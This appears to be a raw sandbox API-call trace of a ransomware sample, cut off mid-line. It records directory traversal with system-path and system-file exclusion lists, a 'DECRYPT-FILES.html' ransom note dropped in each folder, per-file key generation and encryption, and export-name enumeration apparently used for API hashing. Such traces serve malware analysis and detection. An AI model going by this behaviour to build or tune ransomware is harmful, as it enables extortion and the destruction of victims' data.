ftCreationTime.dwLowDateTime=0x47693b94, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47693b94, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47693b94, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 0 [0109.324] FindClose (in: hFindFile=0x6bbc70 | out: hFindFile=0x6bbc70) returned 1 [0109.324] CloseHandle (hObject=0x2dc) returned 1 [0109.325] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000\\", cAlternateFileName="S-1-5-~1")) returned 0 [0109.325] FindClose (in: hFindFile=0x6bbb70 | out: hFindFile=0x6bbb70) returned 1 [0109.325] CloseHandle (hObject=0x518) returned 1 [0109.325] FindNextFileW (in: hFindFile=0x6bbf30, lpFindFileData=0x38bfd0c | out: lpFindFileData=0x38bfd0c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6bf5a0, dwReserved1=0x928d, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="DECRYPT-FILES.html") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="autorun.inf") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="boot.ini") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="desktop.ini") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="ntuser.dat") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="iconcache.db") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="bootsect.bak") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="ntuser.dat.log") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="thumbs.db") returned -1 [0109.325] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="Bootfont.bin") returned -1 [0109.325] lstrlenW (lpString="C:\\") returned 3 [0109.325] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0109.325] lstrcpyW (in: lpString1=0x38bf4dc, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0109.325] lstrcatW (in: lpString1="C:\\", lpString2="$WINRE_BACKUP_PARTITION.MARKER" | out: lpString1="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned="C:\\$WINRE_BACKUP_PARTITION.MARKER" [0109.325] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0109.326] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0109.804] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38beca8 | out: lpFileSize=0x38beca8*=0) returned 1 [0109.805] CreateFileMappingW (hFile=0x53c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x0 [0109.805] CloseHandle (hObject=0x0) returned 0 [0109.805] CloseHandle (hObject=0x53c) returned 1 [0109.805] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.805] FindNextFileW (in: hFindFile=0x6bbf30, lpFindFileData=0x38bfd0c | out: lpFindFileData=0x38bfd0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6bf5a0, dwReserved1=0x928d, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0109.805] lstrcmpW (lpString1="588bce7c90097ed212", lpString2=".") returned 1 [0109.805] lstrcmpW (lpString1="588bce7c90097ed212", lpString2="..") returned 1 [0109.805] lstrcatW (in: lpString1="588bce7c90097ed212", lpString2="\\" | out: lpString1="588bce7c90097ed212\\") returned="588bce7c90097ed212\\" [0109.805] lstrcatW (in: lpString1="C:\\", lpString2="588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch=":\\Windows") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\Program Files") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\Games\\") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\Tor Browser\\") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\ProgramData\\") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0109.805] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0109.806] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0109.806] StrStrW (lpFirst="C:\\588bce7c90097ed212\\", lpSrch="\\All Users") returned 0x0 [0109.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0109.806] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.806] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\\\eogwkz.dat") returned 33 [0109.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x2dc [0109.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0109.949] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0109.949] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\\\DECRYPT-FILES.html") returned 41 [0109.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0109.950] WriteFile (in: hFile=0x518, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38bf26c, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38bf26c*=0x1997, lpOverlapped=0x0) returned 1 [0109.951] CloseHandle (hObject=0x518) returned 1 [0109.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0109.951] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\*") returned="C:\\588bce7c90097ed212\\*" [0109.951] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x47ca466b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bbd30 [0109.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0109.951] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x47ca466b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.056] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0110.056] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0110.056] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0110.056] lstrcmpW (lpString1="1025", lpString2=".") returned 1 [0110.056] lstrcmpW (lpString1="1025", lpString2="..") returned 1 [0110.056] lstrcatW (in: lpString1="1025", lpString2="\\" | out: lpString1="1025\\") returned="1025\\" [0110.056] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1025\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch=":\\Windows") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\Program Files") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\Games\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\Tor Browser\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\ProgramData\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0110.056] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1025\\", lpSrch="\\All Users") returned 0x0 [0110.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.056] lstrlenW (lpString="eogwkz.dat") returned 10 [0110.056] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\\\eogwkz.dat") returned 38 [0110.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1025\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0110.057] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.057] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0110.057] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\\\DECRYPT-FILES.html") returned 46 [0110.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1025\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0110.060] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0110.061] CloseHandle (hObject=0x470) returned 1 [0110.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.061] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1025\\*") returned="C:\\588bce7c90097ed212\\1025\\*" [0110.061] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x47daf6de, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6bbb70 [0110.061] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0110.061] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x47daf6de, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0110.061] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0110.061] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0110.062] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d894f8, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47d894f8, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47daf6de, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0110.062] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0110.062] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d894f8, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47d894f8, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47d894f8, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0110.062] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0110.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.062] lstrlenW (lpString="eogwkz.dat") returned 10 [0110.062] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1025\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0110.062] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1025\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1025\\eogwkz.dat" [0110.062] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0110.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1025\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.063] CloseHandle (hObject=0x0) returned 0 [0110.063] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.063] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0110.063] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0110.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0110.064] lstrlenW (lpString="eula.rtf") returned 8 [0110.064] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1025\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0110.064] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf" [0110.064] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0110.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0110.066] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=7567) returned 1 [0110.066] CreateFileMappingW (hFile=0x46c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x53c [0110.066] MapViewOfFile (hFileMappingObject=0x53c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0110.495] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0110.495] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0110.495] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0110.496] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0110.496] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0110.497] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.497] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0110.497] CloseHandle (hObject=0x53c) returned 1 [0110.498] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.498] WriteFile (in: hFile=0x46c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0110.499] CloseHandle (hObject=0x0) returned 0 [0110.499] CloseHandle (hObject=0x46c) returned 1 [0110.580] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.580] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0110.581] GetTickCount () returned 0x31212 [0110.581] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0110.581] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0110.581] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0110.581] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0110.582] lstrlenA (lpString="kernel32.dll") returned 12 [0110.582] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0110.582] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0110.582] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0110.582] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0110.582] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0110.582] lstrlenA (lpString="ADDATOMA") returned 8 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0110.582] lstrlenA (lpString="ADDATOMW") returned 8 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0110.582] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0110.582] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0110.582] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0110.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0110.582] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0110.583] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0110.583] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0110.583] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0110.583] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0110.583] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0110.583] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0110.583] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0110.583] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: 